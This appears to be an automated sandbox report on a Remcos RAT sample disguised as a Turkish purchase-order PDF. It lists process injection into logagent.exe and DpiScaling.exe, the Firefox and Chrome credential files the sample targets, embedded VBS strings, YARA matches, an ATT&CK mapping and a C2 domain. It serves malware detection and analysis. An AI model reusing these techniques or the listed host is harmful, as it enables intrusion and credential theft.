@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,Sleep,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,CloseHandle,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ, \svchost.exe

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Process created: C:\Windows\SysWOW64\logagent.exe C:\Windows\System32\logagent.exe
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process created: C:\Windows\SysWOW64\logagent.exe C:\Windows\System32\logagent.exe
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Process created: C:\Windows\SysWOW64\DpiScaling.exe C:\Windows\System32\DpiScaling.exe

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00410145 ??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?substr@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV12@II@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,StrToIntA,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,??A?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAADI@Z,mouse_event,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,

Source: logagent.exe, 00000003.00000002.533920731.00000000031F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: logagent.exe, 00000003.00000002.533920731.00000000031F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager3\|
Source: logagent.exe, 00000003.00000002.533920731.00000000031F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr\|
Source: logagent.exe, 00000003.00000002.533920731.00000000031F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager
Source: logagent.exe, 00000003.00000002.533920731.00000000031F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program ManagerJS;.
Source: logagent.exe, 00000003.00000002.533920731.00000000031F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|

Source: C:\Windows\SysWOW64\logagent.exe	Code function: GetLocaleInfoA,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: GetLocaleInfoA,

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_004124A0 cpuid

Source: C:\Users\Public\Libraries\Eluiezilfw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00402580 GetLocalTime,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,printf,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,CreateThread,

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00412163 GetUserNameW,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBGABV10@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.359362662.0000000004C00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.344931678.0000000000D80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.533899763.00000000031F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: logagent.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DpiScaling.exe PID: 5936, type: MEMORYSTR

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\SysWOW64\logagent.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\
Source: C:\Windows\SysWOW64\logagent.exe	Code function: \key3.db

Contains functionality to steal Chrome passwords or cookies

Source: C:\Windows\SysWOW64\logagent.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

Remote Access Functionality

Yara detected Remcos RAT

Source: Yara match	File source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.359362662.0000000004C00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.344931678.0000000000D80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.533899763.00000000031F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: logagent.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DpiScaling.exe PID: 5936, type: MEMORYSTR

Detected Remcos RAT

Source: logagent.exe	String found in binary or memory: Remcos_Mutex_Inj
Source: logagent.exe, 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Remcos_Mutex_Inj
Source: logagent.exe, 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \uninstall.vbsexepath\update.vbsCreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)\restart.vbsNormalAccess level: Administratorlicence (32 bit) (64 bit)ProductNameInjRemcos_Mutex_InjWDSoftware\licence_code.txt-lShlwapi.dllGetMonitorInfoWEnumDisplayMonitorsuser32EnumDisplayDevicesWSetProcessDEPPolicyShell32IsUserAnAdminGetComputerNameExWkernel32IsWow64Processkernel32.dllGlobalMemoryStatusExGetModuleFileNameExWKernel32.dllPsapi.dllGetModuleFileNameExAProgram Files (x86)\Program Files\1SETTINGS2.7.1 Propth_unencoverridev
Source: logagent.exe, 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Remcos_Mutex_Inj
Source: logagent.exe, 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \uninstall.vbsexepath\update.vbsCreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)\restart.vbsNormalAccess level: Administratorlicence (32 bit) (64 bit)ProductNameInjRemcos_Mutex_InjWDSoftware\licence_code.txt-lShlwapi.dllGetMonitorInfoWEnumDisplayMonitorsuser32EnumDisplayDevicesWSetProcessDEPPolicyShell32IsUserAnAdminGetComputerNameExWkernel32IsWow64Processkernel32.dllGlobalMemoryStatusExGetModuleFileNameExWKernel32.dllPsapi.dllGetModuleFileNameExAProgram Files (x86)\Program Files\1SETTINGS2.7.1 Propth_unencoverridev

Source: C:\Windows\SysWOW64\logagent.exe

Code function: cmd.exe

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	22 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	2 Obfuscated Files or Information	221 Input Capture	1 Account Discovery	Remote Desktop Protocol	221 Input Capture	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 Defacement
Domain Accounts	2 Service Execution	1 Registry Run Keys / Startup Folder	1 Windows Service	1 Software Packing	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	2 Clipboard Data	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	522 Process Injection	1 DLL Side-Loading	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Remote Access Software	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	33 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	2 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Access Token Manipulation	Cached Domain Credentials	11 Security Software Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	23 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	522 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	22%	ReversingLabs	Win32.Trojan.Zusy

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Libraries\Eluiezilfw.exe	22%	ReversingLabs	Win32.Trojan.Zusy

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396c008.6.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac4348.64.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3acbbdc.14.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962dac.51.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.2.logagent.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
13.3.Eluiezilfw.exe.3ac5ecc.84.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39600d8.18.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac1b54.30.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac0168.21.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.0.logagent.exe.10540000.2.unpack	100%	Avira	TR/Crypt.Morphine.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39717a0.68.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397dbec.69.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac7bf0.17.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac413c.59.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac3034.55.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3984008.36.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ad28f8.32.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397afd8.34.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962d80.39.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ad8008.106.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac0168.20.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ad17a0.66.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac8560.26.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ad9a8c.88.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.2324788.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac00d8.18.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac803c.108.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3adbf00.62.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3adafd8.34.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
15.0.DpiScaling.exe.10540000.3.unpack	100%	Avira	TR/Crypt.Morphine.Gen	Download File
13.3.Eluiezilfw.exe.3ad54e0.103.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3acd700.50.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ad001c.61.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3acff08.23.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3acc008.6.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966c84.100.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397afd8.37.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3addbec.69.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac6d08.106.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac7bf0.16.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3960168.22.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3986a8c.81.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
8.3.Eluiezilfw.exe.3ac4578.12.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac52c8.8.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.10540000.8.unpack	100%	Avira	TR/Crypt.Morphine.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964ae4.70.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac0168.20.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac217c.47.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39754e0.101.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.0.logagent.exe.10540000.3.unpack	100%	Avira	TR/Crypt.Morphine.Gen	Download File
8.3.Eluiezilfw.exe.3ad54e0.103.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac2dac.51.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3974008.91.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.2.Eluiezilfw.exe.23a33e8.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39728f8.32.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3ad0000.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
8.3.Eluiezilfw.exe.3ac6924.76.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395e240.8.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3acc6a8.43.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac52c8.9.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ad94ec.80.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395dda4.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3adf8dc.45.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3adbf00.63.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac704c.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3acbbdc.14.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396dc40.56.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ad3e08.79.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac6d08.105.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3acc6a8.43.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
14.0.logagent.exe.10540000.0.unpack	100%	Avira	TR/Crypt.Morphine.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966d08.105.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ad94ec.80.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ad94ec.82.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
14.2.logagent.exe.10540000.1.unpack	100%	Avira	TR/Crypt.Morphine.Gen	Download File
8.2.Eluiezilfw.exe.3168bd8.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396bbdc.13.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac217c.47.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ad4008.91.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.2.Eluiezilfw.exe.10540000.8.unpack	100%	Avira	TR/Crypt.Morphine.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966588.94.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac2d80.39.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396217c.48.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ae6a8c.81.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396c008.5.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac00d8.19.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3acdc40.54.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3add83c.75.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac26fc.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac8008.21.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3ac26fc.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
14.0.logagent.exe.10540000.2.unpack	100%	Avira	TR/Crypt.Morphine.Gen	Download File
13.3.Eluiezilfw.exe.3ae4008.36.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.3.Eluiezilfw.exe.3ac03a8.25.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.0.logagent.exe.10540000.1.unpack	100%	Avira	TR/Crypt.Morphine.Gen	Download File
8.3.Eluiezilfw.exe.3ac1b54.29.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962d80.40.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3acbbdc.13.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396704c.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.3.Eluiezilfw.exe.3add83c.75.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
blessmyhustlelord.ddns.net	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
